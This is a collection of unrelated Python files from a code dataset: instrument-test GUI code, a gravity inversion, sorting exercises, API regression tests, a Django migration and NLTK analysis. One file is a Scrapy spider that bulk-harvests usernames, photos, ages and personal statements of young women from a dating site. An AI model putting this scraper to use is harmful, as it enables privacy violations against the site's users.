self.config.iv_variables['vMax']=int(self.ids.vmax.text)\r\n self.config.iv_variables['compCurr']=float(self.ids.compcurr.text)\r\n self.config.iv_variables['stepSize']=int(self.ids.stepsize.text)\r\n self.config.iv_variables['delay']=float(self.ids.ivdelay.text)\r\n self.config.iv_variables['humidity']=self.ids.hum.text\r\n self.config.iv_variables['temperature']=self.ids.temperature.text\r\n #self.config.default_options['daq_options']['hv']=int(self.ids.hv.text)\r\n channels=[]\r\n if self.ids.inputch.text=='all':\r\n for i in range(64):\r\n channels.append(int(i))\r\n self.config.default_options['daq_options']['channelIds']=channels\r\n elif (self.ids.inputch.text=='') or (self.ids.inputch.text==' ') :\r\n self.config.default_options['daq_options']['channelIds']=[]\r\n else:\r\n channels=self.ids.inputch.text.split(',')\r\n channels=[int(i) for i in channels]\r\n self.config.default_options['daq_options']['channelIds']=channels\r\n \r\n\r\n if self.ids.hv.text==('' or ' '):\r\n self.config.default_options['daq_options']['hv']=[float(0)]\r\n else:\r\n hv_values=self.ids.hv.text.split(',')\r\n hv_values=[float(i) for i in hv_values]\r\n self.config.default_options['daq_options']['hv']=hv_values\r\n\r\n '''Perform tests: (see rpi_data_tests.py for details)'''\r\n #Read GUI-Input\r\n '''common_variables.DuT_name=self.ids.DUT.text\r\n common_variables.n_ev=int(self.ids.ev.text)\r\n common_variables.Type_of_hardware=self.ids.Hardwaretype.text\r\n common_variables.Manufacturer=self.ids.Manufacturer.text\r\n common_variables.acquisitionType=self.ids.acqtype.text\r\n common_variables.injectionDAC=int(self.ids.injDAC.text)\r\n common_variables.pulse_delay=int(self.ids.delay.text)\r\n common_variables.inputch=[int(self.ids.inputch.text)]'''\r\n\r\n \"\"\"#Reset Result Colors\r\n self.col_chip0=self.gray\r\n self.col_chip1=self.gray\r\n self.col_chip2=self.gray\r\n self.col_chip3=self.gray\r\n self.col_chip0RM=self.gray\r\n self.col_chip1RM=self.gray\r\n self.col_chip2RM=self.gray\r\n self.col_chip3RM=self.gray\r\n self.col_chip0SCA=self.gray\r\n self.col_chip1SCA=self.gray\r\n self.col_chip2SCA=self.gray\r\n self.col_chip3SCA=self.gray\r\n self.col_chip0TO=self.gray\r\n self.col_chip1TO=self.gray\r\n self.col_chip2TO=self.gray\r\n self.col_chip3TO=self.gray\r\n self.col_DUT=self.gray\"\"\"\r\n #Perform tests\r\n if self.config.default_options['daq_options']['externalChargeInjection']==False:\r\n self.my_run()\r\n else:\r\n for i in channels:\r\n self.config.default_options['daq_options']['channelIds']=[i]\r\n self.my_run()\r\n keith_str=\"GPIB::\"+str(self.config.iv_variables['gpib_adr'])\r\n keith=Keithley2400(keith_str)\r\n keith.reset()\r\n keith.shutdown()\r\n \"\"\"#Change Result Label colours\r\n if(self.config.default_options['testswitches']['RollMask_full_ON']):\r\n if(common_variables.rollMask_issue[0]):\r\n self.col_chip0RM=self.red\r\n else:\r\n self.col_chip0RM=self.green\r\n if(common_variables.rollMask_issue[1]):\r\n self.col_chip1RM=self.red\r\n else:\r\n self.col_chip1RM=self.green\r\n if(common_variables.rollMask_issue[2]):\r\n self.col_chip2RM=self.red\r\n else:\r\n self.col_chip2RM=self.green\r\n if(common_variables.rollMask_issue[3]):\r\n self.col_chip3RM=self.red\r\n else:\r\n self.col_chip3RM=self.green\r\n\r\n if(self.config.default_options['testswitches']['SCA_full_ON']):\r\n if(common_variables.chip_broken[0]):\r\n self.col_chip0SCA=self.red\r\n elif(common_variables.chip_noisy[0]):\r\n self.col_chip0SCA=self.yellow\r\n else:\r\n self.col_chip0SCA=self.green\r\n if(common_variables.chip_broken[1]):\r\n self.col_chip1SCA=self.red\r\n elif(common_variables.chip_noisy[1]):\r\n self.col_chip1SCA=self.yellow\r\n else:\r\n self.col_chip1SCA=self.green\r\n if(common_variables.chip_broken[2]):\r\n self.col_chip2SCA=self.red\r\n elif(common_variables.chip_noisy[2]):\r\n self.col_chip2SCA=self.yellow\r\n else:\r\n self.col_chip2SCA=self.green\r\n if(common_variables.chip_broken[3]):\r\n self.col_chip3SCAs=self.red\r\n elif(common_variables.chip_noisy[3]):\r\n self.col_chip3SCA=self.yellow\r\n else:\r\n self.col_chip3SCA=self.green\r\n\r\n if(self.config.default_options['testswitches']['ToT_ToA_full_ON']):\r\n if(common_variables.chip_to_issue[0]):\r\n self.col_chip0TO=self.red\r\n else:\r\n self.col_chip0TO=self.green\r\n if(common_variables.chip_to_issue[1]):\r\n self.col_chip1TO=self.red\r\n else:\r\n self.col_chip1TO=self.green\r\n if(common_variables.chip_to_issue[2]):\r\n self.col_chip2TO=self.red\r\n else:\r\n self.col_chip2TO=self.green\r\n if(common_variables.chip_to_issue[3]):\r\n self.col_chip3TO=self.red\r\n else:\r\n self.col_chip3TO=self.green\"\"\"\r\n\r\n if((self.config.default_options['testswitches']['RollMask_full_ON'] or self.config.default_options['testswitches']['ToT_ToA_full_ON']) or self.config.default_options['testswitches']['SCA_full_ON']):\r\n #yaml_writer.writeLogfile()\r\n \"\"\"if(common_variables.chip_results[0]=='FAIL'):\r\n self.col_chip0=self.red\r\n elif(common_variables.chip_results[0]=='PASS'):\r\n self.col_chip0=self.green\r\n else:\r\n self.col_chip0=self.yellow\r\n if(common_variables.chip_results[1]=='FAIL'):\r\n self.col_chip1=self.red\r\n elif(common_variables.chip_results[1]=='PASS'):\r\n self.col_chip1=self.green\r\n else:\r\n self.col_chip1=self.yellow\r\n if(common_variables.chip_results[2]=='FAIL'):\r\n self.col_chip2=self.red\r\n elif(common_variables.chip_results[2]=='PASS'):\r\n self.col_chip2=self.green\r\n else:\r\n self.col_chip2=self.yellow\r\n if(common_variables.chip_results[3]=='FAIL'):\r\n self.col_chip3=self.red\r\n elif(common_variables.chip_results[3]=='PASS'):\r\n self.col_chip3=self.green\r\n else:\r\n self.col_chip3=self.yellow\r\n if(common_variables.DUT_result=='FAIL'):\r\n self.col_DUT=self.red\r\n elif(common_variables.DUT_result=='PASS'):\r\n self.col_DUT=self.green\r\n else:\r\n self.col_DUT=self.yellow\"\"\"\r\n","sub_path":"client_GUI.py","file_name":"client_GUI.py","file_ext":"py","file_size_in_byte":15992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"131144456","text":"# -*- coding: utf-8 -*-\nfrom scrapy.linkextractors import LinkExtractor\nfrom example.items import Profile\nimport re\nfrom scrapy.dupefilters import RFPDupeFilter\nfrom scrapy.spiders import CrawlSpider,Rule\n\nclass YouyuanSpider(CrawlSpider):\n name = 'youyuan'\n allowed_domains = ['youyuan.com']\n # 有缘网的列表页\n start_urls = ['http://www.youyuan.com/find/beijing/mm18-25/advance-0-0-0-0-0-0-0/p1/']\n pattern = re.compile(r'[0-9]')\n\n # 提取列表页和Profile资料页的链接形成新的request保存到redis中等待调度\n profile_page_lx = LinkExtractor(allow=('http://www.youyuan.com/\\d+-profile/'),)\n\n page_lx = LinkExtractor(allow =(r'http://www.youyuan.com/find/beijing/mm18-25/advance-0-0-0-0-0-0-0/p\\d+/'))\n\n rules = (\n\n Rule(page_lx, callback='parse_list_page', follow=True),\n Rule(profile_page_lx, callback='parse_profile_page', follow=False),\n )\n\n # 处理列表页,其实完全不用的,就是留个函数debug方便\n def parse_list_page(self, response):\n print(\"Processed list %s\" % (response.url,))\n #print response.body\n self.profile_page_lx.extract_links(response)\n\n pass\n\n # 处理Profile资料页,得到我们要的Profile\n def parse_profile_page(self, response):\n print(\"Processing profile %s\" % response.url)\n\n profile = Profile()\n profile['header_url'] = self.get_header_url(response)\n profile['username'] = self.get_username(response)\n profile['monologue'] = self.get_monologue(response)\n profile['pic_urls'] = self.get_pic_urls(response)\n profile['age'] = self.get_age(response)\n profile['source'] = 'youyuan'\n profile['source_url'] = response.url\n\n #print \"Processed profile %s\" % response.url\n\n yield profile\n\n\n # 提取头像地址\n def get_header_url(self, response):\n header = response.xpath('//dl[@class=\"personal_cen\"]/dt/img/@src').extract()\n if len(header) > 0:\n header_url = header[0]\n else:\n header_url = \"\"\n return header_url.strip()\n\n # 提取用户名\n def get_username(self, response):\n usernames = response.xpath('//dl[@class=\"personal_cen\"]/dd/div/strong/text()').extract()\n if len(usernames) > 0:\n username = usernames[0]\n else:\n username = \"\"\n return username.strip()\n\n # 提取内心独白\n def get_monologue(self, response):\n monologues = response.xpath('//ul[@class=\"requre\"]/li/p/text()').extract()\n if len(monologues) > 0:\n monologue = monologues[0]\n else:\n monologue = \"\"\n return monologue.strip()\n\n # 提取相册图片地址\n def get_pic_urls(self, response):\n pic_urls = []\n data_url_full = response.xpath('//li[@class=\"smallPhoto\"]/@data_url_full').extract()\n if len(data_url_full) <= 1:\n pic_urls.append(\"\");\n else:\n for pic_url in data_url_full:\n pic_urls.append(pic_url)\n\n if len(pic_urls) <= 1:\n return \"\"\n return '|'.join(pic_urls)\n\n # 提取年龄\n def get_age(self, response):\n age_urls = response.xpath('//dl[@class=\"personal_cen\"]/dd/p[@class=\"local\"]/text()').extract()\n if len(age_urls) > 0:\n age = age_urls[0]\n else:\n age = \"\"\n\n age_words = re.split(' ', age)\n if len(age_words) <= 2:\n return \"0\"\n #20岁\n age = age_words[2][:-1]\n if self.pattern.match(age):\n return age\n return \"0\"","sub_path":"example-project/example/spiders/youyuan.py","file_name":"youyuan.py","file_ext":"py","file_size_in_byte":3602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"68906224","text":"# TO-DO: complete the helper function below to merge 2 sorted arrays\ndef merge( arrA, arrB ):\n elements = len( arrA ) + len( arrB )\n merged_arr = [0] * elements\n # TO-DO\n x = 0\n y = 0\n index = 0\n #sort main array\n while x < len(arrA) and y < len(arrB):\n if arrA[x] < arrB[y]:\n merged_arr[index] = arrA[x]\n x += 1\n else:\n merged_arr[index] = arrB[y]\n y += 1\n index += 1\n #sort remaining arrA values\n while x < len(arrA):\n merged_arr[index] = arrA[x]\n x += 1\n index += 1\n #sort remaining arrB values\n while y < len(arrB):\n merged_arr[index] = arrB[y]\n y += 1\n index += 1\n return merged_arr\n\nprint(merge([1,2,3,4],[5,6,7,8]))\n# TO-DO: implement the Merge Sort function below USING RECURSION\ndef merge_sort( arr ):\n # TO-DO\n if len(arr) > 1:\n middle = len(arr)/2\n left = arr[:int(middle)]\n right = arr[int(middle):]\n\n merge_sort(left)\n merge_sort(right)\n\n x = 0\n y = 0\n index = 0\n\n while x < len(left) and y < len(right):\n if left[x] < right[y]:\n arr[index] = left[x]\n x += 1\n else:\n arr[index] = right[y]\n y += 1\n index += 1\n\n while x < len(left):\n arr[index] = left[x]\n x += 1\n index += 1\n\n while y < len(right):\n arr[index] = right[y]\n y += 1\n index += 1\n\n return arr\n\nprint(merge_sort([54,26,93,17,77,31,44,55,20]))\n\n# STRETCH: implement an in-place merge sort algorithm\ndef merge_in_place(arr, start, mid, end):\n # TO-DO\n\n return arr\n\ndef merge_sort_in_place(arr, l, r): \n # TO-DO\n\n return arr\n\n\n# STRETCH: implement the Timsort function below\n# hint: check out https://github.com/python/cpython/blob/master/Objects/listsort.txt\ndef timsort( arr ):\n\n return arr\n","sub_path":"src/recursive_sorting/recursive_sorting.py","file_name":"recursive_sorting.py","file_ext":"py","file_size_in_byte":1911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"285422306","text":"import sys\n\n## Define local path of SimPEG and Discretize packages on your system\nsys.path.insert(0,'/gp/mamitchell/bin/git/simpeg/discretize')\nimport discretize\nprint(discretize.__version__)\nprint(discretize.__path__)\n\nsys.path.insert(1,'/gp/mamitchell/bin/git/simpeg/Mira_simpeg/simpeg')\nimport SimPEG\nprint(SimPEG.__version__)\nprint(SimPEG.__path__)\n\nprint(sys.path)\n\n\n## Import required packages\nfrom discretize import TreeMesh, utils\nfrom discretize.utils import meshutils\nfrom discretize.utils import active_from_xyz\n\nfrom SimPEG import data, data_misfit, directives, maps, inverse_problem, optimization, inversion, regularization\nfrom SimPEG.potential_fields import gravity\n\nfrom scipy.interpolate import griddata\nimport pandas as pd\n\nimport pyproj\nimport time\n\nimport numpy as np\n\n\n## Load octree mesh\nmesh = TreeMesh.read_UBC('./GroundGravCombined_InvMesh_BaseCell_200_200_50_50kmPad.msh')\n\n\n## Load active cell vector\nactInd = np.load('./actCellTopoInd_200_200_50.npy')\nprint(actInd.shape)\n\n\n## Create reference model (mRef)\nmRef = np.zeros([mesh.nC,])\nprint('mRef shape=', mRef.shape)\n\n\n## Create starting model (m0) by taking the active cells of mRef\nm0 = mRef[actInd]\nprint('m0 shape=', m0.shape)\nnC_act = m0.shape[0]\nprint(nC_act)\n\n\n## Set lower and upper bounds for recovered density contrasts\nlowerBound = np.zeros_like(m0)\nupperBound = np.zeros_like(m0)\n\n# Get cell centers from mesh\nmeshCC = mesh.cell_centers\nactCC = meshCC[actInd]\n\n# Find cell centers below z=-6km\nCCbelow_Neg6000Ind = np.zeros_like(m0, dtype=bool)\nCCbelow_Neg6000Ind[np.where(actCC[:,2] < -6000)[0]] = True\n\n# Bounds for cells above z=-6km\nlowerBound[~CCbelow_Neg6000Ind] = -0.25\nupperBound[~CCbelow_Neg6000Ind] = 0.2\n\nprint('Above z = -6000m')\nlowerBoundCheck = np.all(m0[~CCbelow_Neg6000Ind] > lowerBound[~CCbelow_Neg6000Ind])\nprint('lowerBoundCheck =', lowerBoundCheck)\nupperBoundCheck = np.all(m0[~CCbelow_Neg6000Ind] < upperBound[~CCbelow_Neg6000Ind])\nprint('upperBoundCheck =', upperBoundCheck)\n\n# Bounds for cells below z=-6km\nlowerBound[CCbelow_Neg6000Ind] = -0.5\nupperBound[CCbelow_Neg6000Ind] = 0.2\n\nprint('Below z = -6000m')\nlowerBoundCheck = np.all(m0[CCbelow_Neg6000Ind] > lowerBound[CCbelow_Neg6000Ind])\nprint('lowerBoundCheck =', lowerBoundCheck)\nupperBoundCheck = np.all(m0[CCbelow_Neg6000Ind] < upperBound[CCbelow_Neg6000Ind])\nprint('upperBoundCheck =', upperBoundCheck)\n\nlowerBoundCheck = np.all(m0 > lowerBound)\nprint('Full lowerBoundCheck =', lowerBoundCheck)\n\nupperBoundCheck = np.all(m0 < upperBound)\nprint('Full upperBoundCheck =', upperBoundCheck)\n\n\n## Define Mappings\n# Create active map to go from reduce set to full\nactMap = maps.InjectActiveCells(mesh, actInd, np.nan)\nidenMap = maps.IdentityMap(nP=nC_act)\n\n\n## Load gravity data\ngravData = pd.read_pickle('./groundGrav_Combined_zEllipsoid_Full.pkl')\n\n\n## Create a Gravity Survey\n# Create array using xyz locations of gravity stations\nrxLoc = np.c_[gravData.xWGS84_UTM10N, gravData.yWGS84_UTM10N, gravData.zWGS84]\n\n# Create a list of receivers from station point locations\nrxList = gravity.receivers.Point(rxLoc)\n\n# Compute the source field\nsrcField = gravity.sources.SourceField(receiver_list=[rxList])\n\n# Create survey object containing rx and src information\nsurvey = gravity.survey.Survey(srcField)\n\n\n## Define a uniform uncertainty of 0.25 mGal for all gravity data\nstd = 0.25 # mGal\nwd = np.ones_like(gravData.ISO) * std\n\n\n## Create data object and assign data to the survey\ndObs = -gravData.ISO # Flip sign of gravity data to account for SimPEG's z-positive coordinate system\ndataObj_ISO = data.Data(survey, dobs=np.array(dObs), standard_deviation=wd)\n\n\n## Setup simulation\nsimulation = gravity.simulation.Simulation3DIntegral(\n mesh=mesh, survey=survey, rhoMap=idenMap, actInd=actInd, store_sensitivities=\"ram\")\n\n\n## Create a regularization function\nreg = regularization.Sparse(mesh, indActive=actInd, mapping=idenMap, gradientType='total', alpha_s=1, alpha_x=1, alpha_y=1, alpha_z=1)\n\n# Set the reference model\nreg.mref = m0\n\n# Depth weighting\n# exponent=2.0\n# wr_Depth = SimPEG.utils.depth_weighting(mesh, reference_locs=topoXYZ, indActive=actInd, exponent=exponent, threshold=0.1)\nwr_Depth = np.load('./cellWeights_Depth.npy')\nreg.cell_weights = wr_Depth\n\n# set norms used in the regularization\n# l1-norm on the model values and l1-norms on the gradients\nreg.norms = np.c_[1.0, 1.0, 1.0, 1.0]\n\n\n## Create optimization to determine which numerical methods will be used to solve the inversion\nopt = optimization.ProjectedGNCG(\n maxIter=50, # Max number of inversion iterations\n lower=lowerBound, # Lower bound for density contrast\n upper=upperBound, # Upper bound for density contrast\n maxIterLS=20, # Max number of iterations for each line search\n maxIterCG=100, # Max number of CG solves per inexact Gauss-Newton iteration\n tolCG=1e-4, # Tolerance of CG solve\n)\n\n\n## Define data misfit function (phi_d)\ndmis = data_misfit.L2DataMisfit(simulation=simulation, data=dataObj_ISO)\n\n\n## Setup directive for the inverse problem\n# Specify how the initial beta is found\nbetaest = directives.BetaEstimate_ByEig(beta0_ratio=100)\n\n# Iteratively Reweighted Least Squares: try to fit as much as possible of the signal\nIRLS = directives.Update_IRLS(f_min_change=1e-4, minGNiter=1, beta_tol=1e-1, max_irls_iterations=40)\n\n# Updat Jacobi pre-conditioner\nupdate_Jacobi = directives.UpdatePreconditioner()\n\n# Save inversion output from each iteration to a log file\nsave = directives.SaveOutputEveryIteration()\n\n# Save the model every iteration\nsave_model = directives.SaveModelEveryIteration()\n\n\n## Create inverse problem\ninvProb = inverse_problem.BaseInvProblem(dmis, reg, opt)\ninv = inversion.BaseInversion(\n invProb,\n # directives: set directives\n directiveList=[\n betaest,\n IRLS,\n update_Jacobi,\n save,\n save_model\n ]\n)\n\n\n## Run the inversion\ntime0 = time.time()\nmInv = inv.run(m0)\ntime1 = time.time()\nprint('Inv time:' + str(time1-time0))\n\n\n## Map active cells back to full domain\nrhoInv = actMap*mInv\n\n\n## Save the results\nnp.save('mInv_groundGrav_Combined_ISO_generalBounds_L1_DW_gradTotal.npy', mInv)\nnp.save('rhoInv_groundGrav_Combined_ISO_generalBounds_L1_DW_gradTotal.npy', rhoInv)\n\n\n## Forward model predicted data from final model\ntime0 = time.time()\ndPred = simulation.dpred(mInv)\ntime1 = time.time()\nprint('FwdMod time:' + str(time1-time0))\n\nnp.save('dPred_groundGrav_Combined_ISO_generalBounds_L1_DW_gradTotal.npy', dPred)\n","sub_path":"Inv_GroundGrav_Combined_generalBounds_L1_DW_gradTotal.py","file_name":"Inv_GroundGrav_Combined_generalBounds_L1_DW_gradTotal.py","file_ext":"py","file_size_in_byte":6500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"252173836","text":"from pprint import pprint\nimport os\nimport shutil\nimport json\nimport codecs, fileinput\nimport urllib2\n\n\ndef setupIOFolders():\n test_data = \"test_data/\" + uuid + \"-\" + fileFormat\n test_output = \"test_output/\" + uuid + \"-\" + fileFormat\n if str(expResponseCode) != \"400\":\n if os.path.isdir(test_output):\n shutil.rmtree(test_output)\n os.mkdir(test_output)\n else:\n os.mkdir(test_output)\n return test_data, test_output\n\ndef constructurl():\n pprint(\"Now executing keyword : contructurl\")\n indexTS = \"\"\n if beginTS.strip():\n indexTS = \"/event/\" + beginTS\n if endTS.strip():\n indexTS = indexTS + \"/to/\" + endTS\n else:\n indexTS = indexTS + \"/to/\" + beginTS\n url = url_cname + \"/api/rest/v1/drive/\" + uuid + indexTS + \"?size=1000\"\n else:\n url = url_cname + \"/api/rest/v1/drive/\" + uuid + \"?size=1000\"\n return (url)\n\ndef sendRequest(url):\n req = urllib2.Request(url)\n req.add_header('Accept', header)\n resp = urllib2.urlopen(req)\n return resp\n\ndef setHeader():\n global header\n if fileFormat == \"json\":\n header = 'application/json;charset=UTF-8'\n else:\n header = 'application/vnd.geo+json;charset=UTF-8'\n return header\n\ndef capturepages(url):\n pprint(\"Now executing keyword : capturepages\")\n x = 0\n global page_count\n while True:\n filename = test_output +\"/page\" + str(x) + \".\" + fileFormat\n resp = sendRequest(url)\n content = resp.read()\n with codecs.open(filename,'w',encoding='utf8') as f:\n f.write(content)\n f.close\n with codecs.open(filename,'r',encoding='utf8') as f:\n data = json.load(f)\n\n page_count = data[\"page\"][\"totalPages\"]\n if x == page_count-1:\n printMsg()\n checknexturl(data)\n break\n\n url = data[\"_links\"][\"next\"][\"href\"]\n x = x + 1\n return page_count\n\ndef combine_pages():\n pprint(\"Now executing keyword : combine_pages\")\n fnames = ()\n for x in range(0,page_count):\n fnames = fnames + (test_output + \"/Page\"+ str(x) + \".\" + fileFormat,)\n fout = test_output + \"/completeResp\" + \".\" + fileFormat\n f = fileinput.input(files= fnames)\n with open(fout, 'w') as fo:\n for line in f:\n fo.write(line)\n fo.close\n printMsg()\n return\n\ndef checknexturl(data):\n try:\n data[\"_links\"][\"next\"]\n raise Exception (\"next url is present on last page\")\n except Exception:\n pass\n return\n\ndef comparefiles():\n pprint(\"Now executing keyword : comparefiles\")\n for pageno in range(0, page_count):\n f1 = test_output+\"/page\" + str(pageno) + \".\" + fileFormat\n f2 = test_data + \"/page\" + str(pageno) + \".\" + fileFormat\n with codecs.open(f1,'r',encoding='utf8') as f:\n data1 = json.load(f)\n with codecs.open(f2,'r',encoding='utf8') as f:\n data2 = json.load(f)\n\n if(fileFormat == \"json\"):\n if (data1[\"page\"] != data2[\"page\"]) or (data1[\"drives\"] != data2[\"drives\"]):\n raise Exception(\"file comparision failed on page no : \" + str(pageno))\n else:\n pprint (\"file comparision passed on page number : \" + str(pageno))\n else:\n if (data1[\"page\"] != data2[\"page\"]) or (data1[\"features\"] != data2[\"features\"]) or (data1[\"type\"] != data2[\"type\"]) or (data1[\"crs\"] != data2[\"crs\"]):\n raise Exception(\"file comparision failed on page no : \" + str(pageno))\n else:\n pprint (\"file comparision passed\")\n\n return\n\ndef createBaseResult():\n pprint(\"Now executing keyword : createBaseResult\")\n shutil.move(test_output, test_data)\n pprint(\"Moved the results to test data folder. Location is : \" + test_data)\n return\n\ndef validateresponsecode(responseCode):\n pprint(\"Now executing keyword : validateresponsecode\")\n if str(responseCode) != str(expResponseCode):\n raise Exception(\"Response Code is incorrect. Expected code is : \" + str(expResponseCode) + \" but the actual code is : \" + str(responseCode))\n else:\n pprint(\"Response Code is correct. Response Code = \" + str(responseCode))\n return\n\ndef getResponseCode(resp):\n pprint(\"Now executing keyword : getResponseCode\")\n return resp.getcode()\n\ndef printMsg():\n if createBaseResult:\n pprint(\"Saved all pages in location : \" + test_data)\n else:\n pprint(\"Saved all pages in location : \" + test_output)\n return\n\ndef setUp(var1, var2, var3, var4, var5, var6, var7):\n pprint(\"Now executing keyword : setUp\")\n global uuid, beginTS, endTS, url_cname, expResponseCode, fileFormat, createBaseline\n uuid = var1\n beginTS = var2\n endTS = var3\n url_cname = var4\n expResponseCode = var5\n fileFormat = var6\n createBaseline = var7\n global test_data, test_output\n test_data, test_output = setupIOFolders()\n\ndef sendRequest_400Error(url):\n pprint(\"Now executing keyword : sendRequest_400Error\")\n req = urllib2.Request(url)\n req.add_header('Accept', header)\n try:\n resp = urllib2.urlopen(req)\n raise Exception(\"Expected response code is 400 but the actual response code is : \" + str(resp.getcode()))\n except IOError:\n pprint(\"Bad request didn't returned any response which is as expected\")\n pass\n return\n\ndef capturepage_zeroresult(url):\n pprint(\"Now executing keyword : capturepage_zeroresult\")\n x = 0\n global page_count\n page_count = 1 #page_count is set to 1 because comparefiles() function is comparing pages in range(0, page_count)\n filename = test_output +\"/page\" + str(x) + \".\" + fileFormat\n resp = sendRequest(url)\n content = resp.read()\n with codecs.open(filename,'w',encoding='utf8') as f:\n f.write(content)\n f.close\n printMsg()\n return\n\ndef constructurl_Bbox():\n pprint(\"Now executing keyword : constructurl_Bbox\")\n url = url_cname + \"/api/rest/v1/box/minlatlon/\" + str(minlat)+ \",\" + str(minlon) + \"/maxlatlon/\" + str(maxlat) + \",\" + str(maxlon)\n if minTS.strip():\n timeStampRange = \"/time/\" + minTS + \"/to/\" + maxTS\n url = url + timeStampRange + \"?size=1000\"\n else:\n url = url + \"?size=1000\"\n return (url)\n\ndef setupIOFolders_BBoxPolygon():\n test_data = \"test_data/\" + testName + \"-\" + fileFormat\n test_output = \"test_output/\" + testName + \"-\" + fileFormat\n if str(expResponseCode) != \"400\":\n if os.path.isdir(test_output):\n shutil.rmtree(test_output)\n os.mkdir(test_output)\n else:\n os.mkdir(test_output)\n return test_data, test_output\n\ndef setUp_BBox(var1, var2, var3, var4, var5, var6, var7, var8, var9, var10, var11):\n pprint(\"Now executing keyword : setUp_BBox\")\n global minlon, minlat, maxlon, maxlat, minTS, maxTS, url_cname, expResponseCode, fileFormat, testName, createBaseline\n minlon = var1\n minlat = var2\n maxlon = var3\n maxlat = var4\n minTS = var5\n maxTS = var6\n url_cname = var7\n expResponseCode = var8\n fileFormat = var9\n testName = var10\n createBaseline = var11\n\n global test_data, test_output\n test_data, test_output = setupIOFolders_BBoxPolygon()\n\ndef constructurl_Polygon():\n pprint(\"Now executing keyword : constructurl_Polygon\")\n url = url_cname + \"/api/rest/v1/wkt/POLYGON ((\" + latlon + \"))\"\n if minTS.strip():\n timeStampRange = \"/time/\" + minTS + \"/to/\" + maxTS\n url = url + timeStampRange + \"?size=1000\"\n else:\n url = url + \"?size=1000\"\n url = url.replace(\" \", \"%20\")\n return (url)\n\ndef setUp_Polygon(var1, var2, var3, var4, var5, var6, var7, var8):\n pprint(\"Now executing keyword : setUp_Polygon\")\n global latlon, minTS, maxTS, url_cname, expResponseCode, fileFormat, testName, createBaseline\n latlon = var1\n minTS = var2\n maxTS = var3\n url_cname = var4\n expResponseCode = var5\n fileFormat = var6\n testName = var7\n createBaseline = var8\n\n global test_data, test_output\n test_data, test_output = setupIOFolders_BBoxPolygon()\n\n# def mainfunc():\n# setUp(\"19768068-1677-4836-bba9-7cb3648abccf\", \"\", \"\", \"http://index-test.am.rcp.solo-experiments.com\", 200, \"json\", True)\n# url = constructurl()\n# header = setHeader()\n# # setGlobalVar(header)\n# resp = sendRequest(url)\n# responseCode = getResponseCode(resp)\n# validateresponsecode(responseCode)\n# page_count = capturepages(url)\n# # setGlobalVar(page_count)\n# combine_pages()\n# if createBaseline:\n# pprint(\"Baseline Results do not exist so moved the output files to baseline results\")\n# createBaseResult()\n# else:\n# pprint(\"Baseline Results already exist so comparing the output against the baseline results\")\n# comparefiles()\n#\n# mainfunc()","sub_path":"regression/IndexSvc.py","file_name":"IndexSvc.py","file_ext":"py","file_size_in_byte":8863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"110081226","text":"from __future__ import unicode_literals\n\nfrom decimal import Decimal\nfrom django.db import migrations\nimport djmoney.models.fields\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('users', '0001_initial'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='user',\n name='income',\n field=djmoney.models.fields.MoneyField(decimal_places=2, default=Decimal('0'), max_digits=10),\n ),\n migrations.AlterField(\n model_name='user',\n name='income_currency',\n field=djmoney.models.fields.CurrencyField(choices=[('BYN', 'Belarussian Ruble')], default='BYN', editable=False, max_length=3),\n ),\n migrations.AlterField(\n model_name='usermoney',\n name='balance_currency',\n field=djmoney.models.fields.CurrencyField(choices=[('BYN', 'Belarussian Ruble')], default='BYN', editable=False, max_length=3),\n ),\n ]\n","sub_path":"9term/fipt/P2PLending/users/migrations/0002_auto_20161203_0618.py","file_name":"0002_auto_20161203_0618.py","file_ext":"py","file_size_in_byte":972,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"12732151","text":"import nltk\nfrom nltk.corpus import stopwords\nfrom nltk.stem.wordnet import WordNetLemmatizer\nfrom nltk.stem.porter import PorterStemmer\nimport collections\nfrom collections import Counter\nimport sys\nfrom test import simpleTokenize\nfrom visuals import wordProgression\nfrom visuals import generateSimilarWords\nimport statistics\nfrom scipy import stats\nfrom nltk.tokenize.treebank import TreebankWordDetokenizer\n\n\n\n# Word Progression Report\n# Giving stats the info in WordProg, specifically the 100 words with the highest score\ndef wpReport(filename, firstgen, secgen, ssName, numTop, writeTo):\n\tsys.stdout = open(writeTo, 'w')\n\tprint(\"FirstGen Words: \" + str(firstgen))\n\tprint(\"SecondGen Words: \" + str(secgen))\n\ttext = simpleTokenize(filename)\n\tarr = wordProgression(text, firstgen, secgen)\n\tprint( \"\\n\\n\\nTitle: \" + ssName )\n\tfor i in range(numTop):\n\t\ttopIndex = arr.index(max(arr))\n\t\ttopWords = text[topIndex*100:topIndex*100+100]\n\t\tprint(\"\\n\\nNumber \" + str(i))\n\t\tprint( \"--> Score: \" + str( arr[topIndex]) + \"\\n--> Z-Score: \" + str(stats.zscore(arr)[topIndex]))\n\t\tprint(\"--> Average Score \" + str(statistics.mean(arr))) \n\t\tfg=0\n\t\tsg=0\n\t\tfor i in range(len(topWords)):\n\t\t\tif topWords[i] in firstgen:\n\t\t\t\tfg+=1\n\t\t\tif topWords[i] in secgen:\n\t\t\t\tsg+=1\n\t\tprint(\"Number of FirstGen Words: \" + str(fg))\n\t\tprint(\"Number of SecondGen Words: \" + str(sg))\n\t\tprint( TreebankWordDetokenizer().detokenize(topWords))\n\t\tdel arr[arr.index(max(arr))]\n\tsys.stdout = sys.__stdout__\n\t\n\t\n\n# Banana Fish\nbw = ['yellow', 'fish', 'glass', 'foot', 'beach', 'suicide']\nbwArray = generateSimilarWords(\"CatcherSalinger.txt\", \"bananaWords.txt\", bw) \n\n# Teddy \ntw = ['teddy', 'poet', 'gift horse', 'nephritis', 'spritual', 'diary', 'orphan', 'triumvirate', 'myriad' ]\ntwArray = generateSimilarWords(\"CatcherSalinger.txt\", \"teddyWords.txt\", tw)\n\n# The Laughing Man\nlw = ['chief','museum', 'baseball', 'laugh', 'descendant']\nlwArray = generateSimilarWords(\"CatcherSalinger.txt\", \"laughingWords.txt\", lw)\n\n# For Esme – With Love and Squalor\new = ['esme', 'love', 